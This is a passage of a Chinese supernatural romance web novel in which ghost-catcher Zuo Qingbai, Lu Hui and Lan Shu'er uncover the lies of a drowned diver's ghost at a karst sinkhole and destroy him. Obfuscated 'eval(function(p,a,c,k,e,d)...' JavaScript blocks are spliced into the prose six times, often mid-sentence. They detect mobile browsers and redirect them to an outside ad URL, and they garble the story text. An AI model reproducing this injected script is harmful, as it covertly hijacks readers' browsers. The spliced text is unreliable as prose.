路回用手圈住左轻白,说:“虽然这是个乌龙,但我来都来了,你就陪我多呆一会,到晚上我送你回去,顺便请全剧组吃个饭。” 左轻白道:“回头他们又要八卦,说你请的是喜宴,那我不是跳进黄河都洗不清了?” 路回去吻左轻白的头发,笑道:“喜宴就喜宴吧,这次的喜宴是假的,下次保准请个真的。” 左轻白拿出手机,说:“我倒想看看现在网上我的八卦传成什么样了?” 不看不知道,一看吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127594|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一跳。 “女星靠怀孕上位富二代?” “女星怀孕却未官宣结婚,疑似被富二代用完就甩?” “事业巅峰期选择回归家庭,左轻白的选择是否正确?” “左轻白是否配得上豪门?”左轻白一条一条地念出声,念到这条时她笑了笑,坦荡道:“这是什么话?富豪这么多,捉鬼师就只有两个,明明是我更稀有,哪里配不上?” 左轻白是真这么想的。捉鬼师虽然跟道士有区别,但也算是道家的一个分支,道家跟儒家这些流派不同,用道家那套思维生活会活得非常自洽,左轻白就很自洽,配得感高得离谱。 路回从左轻白手上把手机拿了过来,一条一条地看,皱眉道:“怎么祝福的这么少啊?” 他顺手点赞了稀有的几个祝福帖,并道:“一会我让助理多买几个营销号发祝福文案。” “……”左轻白无语,假的你也发? 路回把手机扔到床上,继续圈着左轻白,问:“捉鬼师小姐,打算什么时候跟男朋友结婚生孩子?” “等我找齐弥月刃碎片,杀了神通鬼。”左轻白信誓旦旦地说。 路回一直看她。 路回亲了亲左轻白的唇,说:“事业脑。你要是个恋爱脑就好了。” 路回还想再亲,这时,病房外有人敲了敲门,门外传来声音:“保洁,进来搞下卫生。” 左轻白赶紧一推路回,说:“有人来了。” “不打紧。”路回无所谓道。 “打紧,人家要干活呢。” 左轻白说着,清洁工带着工具,打开病房门,走了进来。 医院环境特殊,保洁有严格的着装要求,需要穿着工作服、帽子、口罩、手套、防护鞋,可以说包得很严实,但尽管这位保洁把自己包裹得很严实,左轻白依然瞬间捕捉到了对方的异样。 这个包裹得严严实实的保洁身上散发着遮掩不住的鬼气。 左轻白眼睛一眯,迅速抓住路回的手腕,把他往自己身后带。 路回一愣,问:“怎么了?” 作为一个专业的捉鬼师,左轻白的行动干脆利落,她首先左手一挥,带起一阵风把病房门关上,右手已经拿出了一张符纸,对着那个“清洁工”口中念念有词。 “天地玄黄……”然而还没等左轻白念完,那个清洁工突然对着左轻白“扑通”一声跪下,哀道:“高人帮我!” 左轻白冷冷地看着它。 157. 我又不是滥好人 清洁工对左轻白恭敬道:“高人能看出我是鬼,我也不打算隐瞒,不久前,高人还抓了我的两个同胞。” “水里那俩玩意是你同胞?你那俩同胞说话说得不清不楚,我问不出什么东西,正好你来解答下我的疑问,你们为何是水鬼又不像水鬼?为什么你们会披着一模一样的人皮?”左轻白走到清洁工跟前,问。 “这件事说来话长。” “说来话长也要说啊,不然我怎么帮你?”说到这,左轻白忽然托着下巴,自言自语道:“不对啊,我又不是滥好人,为什么要无缘无故帮一只鬼?要不,我不帮了?” 清洁工磕了个头,对左轻白说:“高人,我已经走投无路,那天看见高人在水中施展本事,才把希望放在高人身上,我求求高人帮帮我。这件事跟五年前的一起悬案有关,高人想听,我可以和盘托出。” 它一口一个“高人”,叫得左轻白飘飘然起来,左轻白臭屁地点点头,故作高深道:“既然如此,那你说吧。不过,你是鬼,鬼多狡诈,如果只有我一个人还好,但现在我身边还跟着一个普通人,为了我身边人着想,我要用缚鬼绳把你绑起来,不介意吧?” “随高人处置。” “好。” 左轻白掏出符纸,用医院的圆珠笔在上面画符,那只鬼好奇地问:“您是道士吗?现在的道士都用圆珠笔画符了?” 左轻白回答道:“我不是道士,我是捉鬼师。捉鬼术里面画符咋画都行,不管是用圆珠笔还是用水性笔还是用黑狗血,只要画出来就行。” 鬼若有所思地点点头。 左轻白画完之后,符纸变成金沙,金沙幻化成为一条金色的绳子,也就是缚鬼绳,缚鬼绳把鬼绑住,鬼很乖,丝毫不挣扎。 鬼还跪着,左轻白指了指一旁的凳子,客气地对它说:“你坐着说吧,我这人不虐待俘虏。” 鬼依言在凳子上坐下。 一旁的路回看了左轻白半晌,忽然憋不住笑了起来。 “你这人真是……”路回边笑边说,“叫你几声高人给你叫开心了,瞧你这得意的样儿。” 左轻白用手肘一撞路回。 左轻白和路回坐在病床上,鬼坐在对面的凳子上,路回手不老实,从身后环抱住左轻白的腰,左轻白倒也随意,随他抱去。 “你可以说了。”左轻白对鬼说。 鬼点点头,开口道:“高人应该听说过五年前的天窗悬案。” 左轻白摇摇头,实话实说:“我没听说过。” 五年前左轻白还没有来到这个世界,她怎么可能知道? 鬼惊奇道:“怎么会呢?这事传得很广。” 连路回也惊讶道:“天窗悬案,当年很轰动,你没听说过?” 左轻白忙说:“我不爱听这种故事,不行吗?” 路回疑惑地看向她。 路回知道这个故事,便娓娓道来:“玉峰县虽然是个小县城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136182|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但它拥有世界上最大的天窗群,一直以来都是洞穴潜水爱好者的探险圣地。五年前有两个洞穴潜水爱好者来到了这里,不久后其中的一个突然报警,说他同伴不听劝,独自一人在晚上下了水,在天窗下遭遇意外,死了。” 左轻白听后评价道:“独自一人下水,还是在晚上,太危险了。” 路回继续往下说:“但是警察调查后,却把那个报警的抓了起来。” “为什么?” “警察怀疑不是意外,是谋杀。” “啊?” “在两人住的宾馆里,警察找到了带血的凶器和一张血床单,上面的血是失踪那个人的,指纹是报警那个人的,所以警察一致认为,失踪那个人被报警这个人给杀了。” “那尸体找到了没有?” “没有,警察抓住犯罪嫌疑人后,几番审讯,要他指出藏尸的地方,可他死不松口,坚持说他没杀人。” “后来呢?” “后来玄乎的地方就来了,失踪那个人突然好好地出现在了公安局门口。” “那就是没杀人,一场乌龙?” “失踪那个人来公安局是来报案的,他说他同伴死了,潜水的时候违规下水,死在了天窗里。” 左轻白瞪大了眼,说:“这两个人都认为对方死了,还都死在了天窗里?” “嗯。”路回一点头。 “那后来呢?”左轻白迫不及待地想要听下去。 158. 愈看愈心慌 “后来,警方当然是让两人对质了。”路回说,“两人一见面就开始吵,都说对方是假的。” “真假美猴王啊?”左轻白调侃道。 “最后,警方认定是两人搞的恶作剧,于是教育了一番,把人放了。哪知两人被放之后就又失踪了,几天后,有别的潜水者在天窗水下找到了他们的尸体。” “两个人都在天窗下?” “嗯,尸体的位置不深,可以打捞,有志愿者把两人的尸体捞了起来。因为天窗水下温度很低的缘故,尸体没有严重腐化,打捞上来时两人的样貌还和生前差不多,但即便如此,法医依然能够结合水下的条件推测出死亡时间,根据法医的推断,两个人的死亡时间在第一个人去报警之前。” “什么!”左轻白瞪大了眼,“也就是说这两人早就死了,那报警的那两个人是谁?” 路回摇摇头,“不知道。有两种可能,要么是法医推断出的死亡时间有误,要么……就是灵异事件。” 左轻白说:“我想到一种可能,或许有水鬼剥了他俩的皮,披着皮去岸上搞恶作剧,搞完之后又把皮还了回去。” “鬼会这么无聊?”路回问。 “为什么不会?”左轻白说。 这时,坐在一旁的那只鬼出了声,缓缓说道:“高人猜得不错,他们的皮就是被鬼剥了,鬼把皮披在身上,上岸搞恶作剧,警局的故事就是鬼搞的恶作剧,恶作剧结束后它们又把皮还了回去。” “你要我帮的忙,跟这个故事有什么关系?”左轻白问那只鬼。 那鬼缓缓抬头,用一双哀愁的眼睛看着左轻白,说:“我就是故事中的两个潜水者之一,杜广安。” “你怎么会变成现在这样?你的人皮随着你的尸体被打捞上岸了,那你现在披的是什么皮?还有你的同伴呢?”左轻白一股脑儿地问。 “我披的是一种批量克隆的腐皮,天窗里所有的鬼披的都是这种丑陋的腐皮,所以高人你在水里看到的鬼才会长得一样。它们全都已经神智不清了,回答不了你的问题,我是唯一幸存的神志清醒的一个。” “天窗里的鬼都是怎么来的?” “全部都是溺死的洞穴潜水爱好者。” “全部?” “全部。” “不对,不对。”左轻白摇头,“人变成鬼有两个基本条件,首先要有很深的执念,然后死后要害过人,满足条件的才变鬼,没有只要死了就全都变鬼的道理。” 杜广安叹了口气,说:“高人说的变成鬼的条件我不懂,我只知道但凡死在天窗的潜水者都变成了鬼,都披上了一模一样批量克隆的腐皮,并且意识渐渐模糊,忘了自己生前是谁,总是傻里傻气地笑,有时还会爬上岸,趴在人家窗户外吓人。” 趴在人家窗户外吓人,这不就是传说中的“水母”? 原来传说都是真的。 杜广安又说:“五年前我没有杀我的同伴,我们是一起下的水,一起出的事,那什么匕首、血床单,都是鬼搞的恶作剧。” 左轻白问:“你想让我帮你澄清真相,并教训当年搞恶作剧的两只鬼吗?” 杜广安摇摇头,说:“不。天窗里的鬼都是跟我有一样爱好的洞潜爱好者,对于我们这样的探险者来说,死不可怕,我们不怕死,但我不希望生前意气风发的探险家们死后失去意识、丧失尊严,变成这副鬼样子,我希望高人帮它们,也帮我……解脱。” 洞穴潜水是一种高风险的探险活动,进行这项活动的探险家们早就做好了迎接死亡的准备。死亡不是最可悲的,最可悲的是生前意气风发、活力满满的探险家,死后在一种古怪力量的影响下,失去意识,变成丑了吧唧、傻兮兮蹲在别人窗户外偷窥的鬼,毫无尊严可言。 杜广安说得郑重,左轻白也郑重地答应:“我答应你。” 左轻白用手摸了摸下巴,思考道:“这一切都太奇怪了,天窗下一定有玄机。” 左轻白凝思半晌,忽然灵光一闪,脱口而出:“会不会是弥月刃碎片?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138108|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >路回开口道:“怎么,你还想潜下去看看不成?” “必须这么做。”左轻白说,“我有避水咒。” “上次在中开影业,我见过你的避水咒,就是一个气泡,洞穴潜水不是一般的潜水,水压远远高于普通潜水,而且天窗下面环境复杂,就像一个倒着的珠穆朗玛峰,你那个气泡能行吗?太危险了。”路回忧心忡忡道。 “危险也不能逃呀。”左轻白说,“洞潜爱好者不怕死,捉鬼师也不怕死;探险家做好了死亡的准备,捉鬼师也一样。” 话音刚落,路回就伸手打了左轻白的嘴一下,沉着脸说道:“这种话你再说一句试试?” 路回气不打一处来,脸都黑了,“你死了谁跟我生孩子去?” 左轻白捂着嘴,她嘴有点麻,刚才路回打的时候是用了点力的。左轻白睁着一双圆溜溜的大眼睛看着路回。 路回瞥了一眼一旁的杜广安,对左轻白说:“你先把他收一下。” “哦……”左轻白乖乖听话,把杜广安收进符纸。 杜广安进了符纸,路回马上搂住左轻白,迫不及待地吻上她的唇。 吻了一会,左轻白推开路回,对他说:“我以后不会再说这种话了。你放心,我本事大,又惜命得很,不会死的。” 路回压根没听,盯着左轻白的唇又吻了上去,攻势比刚才更加猛烈。 左轻白只好回抱住路回,与路回热吻。 左轻白闭上眼,感受那令人脸红心跳的唇舌相接,然而她一闭眼,电光火石之间有一道不属于她的记忆强硬地钻入她脑中。左轻白脑海里浮现出这样的画面——云雾缭绕的山间,孤独的道观前,古松下,善渊道人仙气飘飘,长身玉立,他不紧不慢地说道:“你放心,我本事大,不会死的。” 突然,左轻白心中没由来的一慌,眼睛“噌”的一下睁大,她慌里慌张地推开路回,结束了这个热烈的吻。左轻白用手捧着路回的脸,死死盯着对方看,这张脸跟善渊道人长得一样,左轻白愈看愈心慌。 159. 就你俩事多 有一瞬间,左轻白出现了一种错觉,她觉得她和路回已经认识了很久很久,久到地老天荒,万古千秋。 左轻白迷茫地皱起了眉,她看着路回的眼睛,心中忽然升起疑惑。 她来到这个世界这么久了,但有些奇怪的事情好像一直无法解释,比如她虽然大大咧咧,但不是毫无防备心,为什么会在认识路回短短几天后,就同意住进他的别墅? 左轻白猛然惊觉,她好像从一开始就对路回没有戒心,她对路回是有熟悉感的。 由于左轻白在另一个世界已经看过《登顶娱乐圈女王》的原著,所以一直以来左轻白错误地以为,她之所以会对这些角色有熟悉感,都是因为看过原著小说的缘故,但现在细细想来,或许根本不是,让左轻白产生熟悉感的不是一个个纸片人的名字,而是站在她面前活生生的路回! 左轻白皱着眉,闭上了眼,她回想路回对自己的感情变化,路回是怎么喜欢上自己的?是不是有点太快了? 虽说感情这种东西看感觉而不看相处时长,但是……是不是真的有点太快了? 左轻白一睁眼,急切地问路回:“路回,我问你个事,你是从什么时候开始喜欢我的?” 路回笑道:“我要是说从抓蓝双的时候就喜欢上了,你信吗?” 左轻白眉头皱得更紧,茫然道:“怎么这么快?太快了……” “什么太快了?” “你喜欢得太快了。” “快又怎样?心动的人,当然要早点定下来。” “你最开始看到我的时候对我有熟悉感吗?” “你是说在酒店那次?说实话,当时你的做法我并不喜欢,但我对你好像没那么排斥。” “那就是有熟悉感咯?” 路回奇道:“你想问什么?想证明我跟你命中注定、天生一对?” 左轻白不隐瞒,她对路回说:“我刚才突然有种感觉,觉得我已经与你相伴很久很久了,我熟悉你的体温,熟悉你的气息,与你一同看过很多风景,长长久久,从不分离。” 路回一愣,随后他的表情逐渐柔软下来,他眼带笑意,手指抚上左轻白软乎乎的唇,暧昧道:“捉鬼师小姐的情话原来是这样的吗?” 突然,路回搂紧了左轻白,一字一句坚定地说:“长长久久,不再分离。” 这时有护士来敲门,这次来的是真护士。 “左小姐身体没有问题,可以走了。”护士说。 晚上,路回请全剧组吃饭,他是投资方之一,请个客是正常操作。 请客地点在当地某庄园,路回在京城只吃自家厨师做的或者高档餐厅厨师做的饭菜,但这里条件有限,只能找到一个当地人开的庄园,对路回来说是严重消费降级,但好在这少爷有个优点,教养好,不会嫌着嫌那的为难人,菜不合他口味,他就默默推开不吃,而不出言嫌弃。 左轻白坐在路回身边,看他这不吃那不吃,能入他口的就没两个菜。 左轻白就不一样了,大快朵颐,这个菜香,那个菜更香。 “你……都不吃啊?”左轻白小声问。 “吃着呢。”路回漫不经心地说。 左轻白扒了两口饭,心想,路少爷作为一个含着金汤匙长大的富二代,全身上下没有染上别的富二代那些臭毛病,就只是挑食而已。挑个食有什么问题?已经非常优秀了。 想着,左轻白飘飘然起来,心想自己真幸运,找到这么好一男友。 这时,导演、执行导演这些人过来给路回敬酒,一来就满脸笑容地祝贺:“哎呀,喜从天降,喜从天降!恭喜路总喜得贵子!” 说着,导演特地当着路回的面嘱咐跟组编剧:“把轻白老师所有需要下水的、吊威亚的戏都删了,武戏也删,只留文戏。” 导演就是故意当着路回的面说的,表示自己一定会照顾好他的老婆孩子,有讨好的成分在里面。导演在剧组里权力固然大,但路回是资方,整个剧组都要讨好资方。 左轻白赶紧解释:“误会,都是误会,那是假新闻。我们去医院查过了,没有怀孕。下水戏、威压戏、武打戏都留着,不用删。” 导演“啊”了一声,目光飘向路回。 路回对待导演的态度不像对待左轻白那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151262|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么温柔,他态度有点冷,严肃地说:“轻白说得没错,是假新闻。跟组里的人都说一下吧,让他们不要乱传了。” 导演连忙说好。 左轻白小声问路回:“你对导演的态度怎么这么差?跟对我两副面孔。” 路回说:“我为什么要对所有人都态度好?我对你好就行了。” 桌下,路回握住了左轻白的手,“不是你说的吗?我们已经相伴很久很久了,长长久久,从不分离。长久相伴的人,是不一样的。” 左轻白心中微微颤了一下。 夜晚,兰殊尔出现在了天窗边,左轻白也在,同来的还有路回。 路回双手抱臂,臭着脸看兰殊尔。 左轻白没想让路回来的,但路回听说兰殊尔也在,心里不舒服,一定要跟着来。 兰殊尔在一旁拼命地翻白眼,心想就你俩事多。 以后绝对不要跟正在谈恋爱的捉鬼师一起搭档抓鬼! 谈恋爱真特么耽误正经事! 兰殊尔脸似冰山,内心却在咆哮。 兰殊尔真的很烦他俩。 “确定没怀是吧?”兰殊尔顶着一张冷冷的扑克脸问。 “没有啊!”左轻白气道,“说了是乌龙,干正事啊!” 兰殊尔已经知道了杜广安的故事,说:“杜广安不忍看到生前意气风发的探险家们死后变成没有尊严的样子,想帮它们解脱,也是有心了。现在怎么做?下水直接杀?” 左轻白双手插在兜里,她一向是个急性子,但这次却出乎意料的不着急行动。 左轻白问:“你们觉得杜广安的话能信几分?” “什么意思?”兰殊尔道,“你怀疑杜广安撒谎?” 左轻白摸着下巴,说:“杜广安在医院讲故事的时候我还真没怀疑,直到后来路回跟我提了一下蓝双。” 当时路回说他从抓蓝双的时候就喜欢上了左轻白,提到了蓝双。 左轻白若有所思道:“路回提到蓝双,我突然想起来,我被蓝双骗过,蓝双是鬼,鬼狡诈,爱撒谎,既然如此,那为什么要轻易相信杜广安呢?” 160. 是就下水啊 左轻白望向天窗。 夜晚的天窗像恶龙的巨眼。 天窗连通地下河,它没有底;天窗下,溶洞地形复杂,处处危险。那么多潜水高手都死在了下面,左轻白和兰殊尔下水有几分生还的可能?哪怕是捉鬼师,也玄啊。 作为一个捉鬼师,工作充满危险,左轻白做好了赴死的准备,但同时左轻白也是个惜命的人,能不要死最好还是不要死。 左轻白蹲在天窗边,说:“避水咒潜不了太深,真下去我们可能真的会死,还是小心点。” 兰殊尔惊讶道:“你不一向喜欢莽莽撞撞不管不顾地往前冲吗?今天是怎么了?转性了?知道考虑任务的危险性了?” “我是性子急我不是没脑子。”左轻白强调,“在医院的时候我就觉得杜广安有问题,他说的那番话,不对劲。” 左轻白转头去问路回:“路回,你察觉到了吗?” 路回点了点头,严肃地说:“杜广安说他和同伴死在水下,鬼剥了他们的皮上岸搞恶作剧,出现在警局的那两个人是披着他们人皮的鬼。但问题来了,当时那两人争执不休,都说对方死在了天窗下,警察为了分辨真伪,把他们留在警局盘问了很久,从个人情况到家庭情况无一不落下,如果俩人不是杜广安和他同伴,他们怎么能顺利通过警察的盘问?” 左轻白接着路回说:“还有,他说溺死在天窗里的无论符不符合变鬼条件都变成了鬼,这怎么可能?天地有天地的规矩,变鬼的规则哪那么容易被打破?要真这么容易变鬼,金绮月还用得着花心思研究化鬼术吗?直接把我带到这来不就好了?我看杜广安就是在撒谎。” 路回马上问:“什么化鬼术?金绮月对你做什么了?” 左轻白大手一挥,摆手道:“没事,都过去了。” 路回马上抓住左轻白的手,他力道很大,左轻白手腕一疼。 “什么叫过去了?以后发生这样的事都要告诉我。”路回说。 左轻白刚想开口解释,路回立即打断她说:“你是不是觉得我帮不上你什么忙?我不管,帮不帮得上你都要告诉我。” 兰殊尔内心要抓狂了,他冷冷地盯着两人,说:“你俩能晚点再打情骂俏吗?” 兰殊尔赶紧把话题拉回正事上,“杜广安为什么撒谎?” 左轻白摇头,“不清楚。” 天窗附近没有路灯,这里视线很暗,兰殊尔点燃一张照明符,他点了张大的。 照明符升起,宛如一个明亮的太阳悬在天窗上方,照亮天窗水。 天窗水如明镜,明镜上盛开着一朵一朵海菜花,奇怪,同样是“水性扬花”的奇景,白天看时美不胜收,晚上看却透露着一股阴森恐怖。 由于水非常干净,所以水面下的场景也能看得一清二楚,水面下,那些海菜花的茎叶连接着一颗一颗人头。 没错,人头。长在水下茂盛繁密的海菜花茎叶,其实就是这些人头的头发。头发在水下飘啊飘,像带鱼一样,发尖露出水面,长出一朵朵美丽的小白花。 人头连接着人的身子,这些身体已经被泡得发肿发白,皮肤皱巴巴,像脑花一样;因为长时间在水下的缘故,身体充水,导致过度软化,一个个软乎乎的,没骨头似的浮在水里,像膨胀的大蛆虫。 更令人毛骨悚然的是,它们都在笑。 都怪天窗水太干净了,跟玻璃一样,水下什么玩意都看得清清楚楚。 路回有点受不了这场景,把眼睛一遮。 “都是鬼啊?怎么这么多?”左轻白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155195|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶道。 “长的还一样,像复制粘贴。”兰殊尔说。 左轻白拿出那张关着杜广安的符纸,把杜广安放了出来,杜广安被缚鬼绳绑着,倒在地上。 “这是怎么回事?”左轻白指着水面问杜广安。 杜广安眼中闪过奇异的光,诡异地笑了起来,“下水啊,快下水啊。”他用蛊惑的语气说,“你们抓鬼不是要下水吗?快下去把它们都收了……” 左轻白突然上前,把杜广安身上的清洁工服剥了。 剥了清洁工服后,左轻白深吸一口气,给自己做了一下心理建设,接着戴上一双手套,干脆利落地把杜广安那张快泡烂了的恶心腐皮“撕拉”一声撕了下来。 左轻白把撕下来的皮扔在一旁,一双眼死死盯着杜广安。 腐皮下面,杜广安竟然还披着一张完好的人皮。 这是他自己的人皮。 “你的人皮不是随着你的尸体被打捞上岸了吗?”左轻白问。 “后来我偷偷跑进殡仪馆冷藏柜,把皮剥了下来。我剥我自己的皮有什么错?”杜广安理直气壮地说。 路回若有所思道:“我记得五年前是有这样一则新闻,说殡仪馆发生辱尸案,具体怎么辱,可能因为太重口了,所以新闻没细说,原来是被剥皮了,就是你干的吧?” 兰殊尔双手抱臂站在杜广安面前,冷道:“你披另外一张皮来骗我们,是为了什么?” “在医院你说的全是谎话。”左轻白怒视杜广安。 杜广安瞪大了眼,突然,他好像崩溃了一样厉声大叫:“你管我说的是谎话还是真话?你不是捉鬼师吗?是就下水啊!把鬼都杀了啊!快啊!下水啊!” 左轻白、路回、兰殊尔三人面面相觑。 161. 无情的刽子手 左轻白用手攥紧缚鬼绳的一端,缚鬼绳的另一端死死绑着杜广安,左轻白抬脚冲着杜广安暴力一踢,杜广安发出一声惊呼,被左轻白踢到水里去了。 他一下水,那些鬼纷纷朝他游来,水面上的白色小花在乱动,一大群鬼把杜广安围了起来,啃噬着杜广安,边啃边笑。 杜广安因剧痛发出惨叫。 “我说实话!我说实话!”杜广安一边在水里扑腾一边喊,“高人,你把我拉上去吧!我什么都说。” 左轻白正想把杜广安拉上来,路回阻止了她。 “让他在下面说。”路回说。 路回对水里的杜广安说道:“你就在水下把真相一五一十地说出来,我们在岸上听,如果听出有哪里不对,我们就不把你拉上来。所以,为了让自己少受罪,你还是老老实实说实话吧。” 杜广安被咬得实在痛苦,只得说了实话: “我是一名洞潜爱好者,五年前我和张谦来到玉峰县潜水。” 张谦就是杜广安的同伴。 别看玉峰县偏僻,玉峰县拥有世界上最大的天窗群,这里的天窗号称水下珠穆朗玛峰,世界各地玩洞穴潜水的就没有不来玉峰县的。 “在玉峰县的时候,我和张谦发生了口角,本来只是拌嘴而已,但我俩都想吵赢对方,谁都咽不下这口气,我们越吵越凶,甚至互相骂了对方的父母,矛盾激化,竟然到了无法化解的地步,最后我们两人在旅馆动起手来。是张谦……是张谦杀了我!” 当年警方找到的血床单和凶器是真的,是真的发生了凶杀案。 “张谦杀了我后,害怕了,他帮我把潜水服穿好,把我抛尸天窗下,假装我是潜水出事故死的。可他没想到,我魂魄没散,我的魂魄杀了他,我把他拉下水,他死了,而我成了鬼。” 当年张谦把杜广安抛尸天窗下,当张谦以为万事大吉,准备上浮时,突然一股怪力拉住了他,水下那具尸体缓缓睁开了眼。 杜广安魂魄杀人,满足化鬼的条件,于是杜广安变成了鬼。 “我杀了张谦,张谦很不甘心,于是他效仿我的做法,去杀了一名来龙骨天窗潜水的女洞潜爱好者,也变成了鬼。我跟张谦两只鬼,没日没夜地在天窗里互骂,一定要骂出个输赢来。” 杜广安和张谦死后的执念都是要在和对方的口角之争中争出输赢,在外人看来这很可笑,但有时候执念就是这么可笑。 “我们剥了自己的人皮,披着上了岸,去公安局吵了一场。回到水下后,我们又把人皮还回去了。” 左轻白好奇地问:“为什么?” “因为尸体没了皮就不是全尸,我和张谦是一个地方的,在我们老家非常忌讳死后没全尸。” 原来是风俗。 “可最终我还是没给自己留全尸,我上了岸,把我的人皮偷了来。”杜广安叹气道。 兰殊尔说:“也就是说,你有人皮,张谦没有。” “嗯。” 兰殊尔问:“张谦呢?” 杜广安看了一圈水下的怪鬼,说:“这些都是。” 这些都是。所有人毛骨悚然。 杜广安道:“当年张谦杀的那个女潜水者身上带了一面镜子,张谦杀了她后,她倒是没有变成鬼,不过那面镜子落到了水下,我们本以为那是面普通的镜子,可张谦接触它后,张谦就……就变异了!” 杜广安说着,脸上露出惊恐的表情。 左轻白:“……” 兰殊尔:“……” 路回:“……” 路回懵了一会,问左轻白:“鬼还能变异啊?” 左轻白也一脸懵逼:“我不知道啊。” 兰殊尔保持一张冰山脸:“闻所未闻。” 杜广安满脸恐惧,惊恐地说:“他身上长出腐皮,丧失了记忆和意识,这不是最恐怖的,最恐怖的是他在分裂!不停地分裂!他变得越来越多!整个龙骨天窗底下全是张谦!” 左轻白:“……” 兰殊尔:“……” 路回:“……” 左轻白抚额:“我觉得我的世界观受到了颠覆,让我重建一下。” 路回手放在下巴上,若有所思道:“这算是有丝分裂还是无丝分裂?” 兰殊尔:“有丝吧,有丝分裂涉及染色体分裂,无丝分裂不涉及染色体分裂。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164298|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可是鬼还会有染色体吗?”路回问。 “理论上没有。”兰殊尔说。 “那就应该是无丝分裂。”路回煞有其事地讨论。 这两人还在讨论有丝还是无丝,左轻白一拉绳子,把杜广安从水里拉了上来。 左轻白问杜广安:“故事说完了是吧?” “说完了。” “我就奇了怪了,在医院里的时候你撒什么谎啊?”左轻白说。 杜广安低下头,羞愧道:“我担心我说了实话,高人知道是我杀了张谦,会灭掉我。” “不是你说的想解脱吗?” “我不想。我打算借你的力解决掉张谦后就逃跑,如果你知道我杀过人,肯定不会放过我,但如果你不知道我杀过人,或许能放我一马。” “你觉得不杀人的鬼,就不会被捉鬼师灭?” “电视剧都是这么演的,杀了人的鬼才会被灭,没杀人的不会,难道不是吗?” “电视剧害人啊……”左轻白摇摇头,无奈笑道:“当然不是了,天地有天地的规矩,捉鬼师杀鬼就是天地规矩。对鬼来说,我们是无情的刽子手。再说,你已经杀了人。” “没有例外?” “没有例外。” 左轻白说完,杜广安瞪大了眼,露出又恨、又怒、又惧的复杂表情。 杜广安不想被灭,哪怕是作为鬼,他也想留在这世间。 杜广安的脸突然扭曲变形,变得狰狞恐怖,他大张着嘴,嘴张得有半张脸大,他的眼眶成了两个血窟窿,露出凶态,像只发狂的怪兽一样朝左轻白扑去。他的嘴越来越大,越来越大,直到比脸还大,他想把左轻白吞入腹中! 左轻白冷冷地看着他,根本没动。 因为她不需要动,在杜广安身后,兰殊尔举起了他的银色手.枪。 “嘭”的一声闷响,子弹从银色手.枪中射出,射中杜广安后背。 子弹是特制材料,对鬼来说是致命武器。 杜广安身形一晃,摔落在地,他七窍流出黑血,黑血越流越多,最后他的身体化成了一股黑烟,消失不见。 兰殊尔解决了杜广安。 162. 我只会一半 解决掉杜广安后,三人看着水里一群张谦犯了难。 “杜广安说张谦接触了一面镜子,才会变成这个样子,那面镜子肯定有问题,”路回说。 “会不会是弥月刃碎片?”兰殊尔道。 